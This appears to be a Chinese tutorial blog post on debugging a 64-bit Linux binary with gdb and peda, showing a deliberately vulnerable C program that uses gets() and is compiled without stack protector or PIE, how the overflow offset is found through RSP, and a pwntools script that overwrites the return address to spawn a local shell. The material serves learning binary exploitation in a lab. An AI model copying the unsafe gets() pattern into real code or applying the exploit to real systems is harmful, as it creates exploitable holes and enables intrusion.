gbd调试64位程序关键

程序:
4.c:

#include<stdio.h>
void exploit()
{
	system("/bin/sh");
}
void main()
{
    char buf[20];
    gets(buf); 
}

编译:

gcc -no-pie -fno-stack-protector  -m64 -o 4.exe 4.c

在这里插入图片描述
NX保护,栈数据不可执行
在这里插入图片描述
使用命令,开始调试

gdb 4.exe
start

我们来看看寄存器,相比较32位,32位的寄存器的E变成R就是64位的寄存器了。还有64位多了8个寄存器,R8~R15
在这里插入图片描述
64位如何定位到溢出点?

使用peda生成100个字符

pattern_create 100

在这里插入图片描述
r运行程序,把生成的字符串输进去,会发现程序溢出,32位我们是取看EIP找溢出点,我们看看64位的RIP
在这里插入图片描述
发现RIP没有我们需要的溢出字符串,所以64不能看RIP定位溢出点,需要看RSP。这个时候我们需要取RSP值的前4位,就是溢出点。
在这里插入图片描述
我们查找一下,发现是40位
在这里插入图片描述
构造我们的poc:
查看exploit函数地址:
在这里插入图片描述

# -*- coding: utf-8 -*-
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p=process('./4.exe')
offset = 40
payload ='a'*offset+p64(0x401132)
#payload ='a'*offset+p64(0x401030) +p64(0x400000)+p64(0x68732f6e69622f)

p.sendline(payload)
p.interactive()

执行,获得权限
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值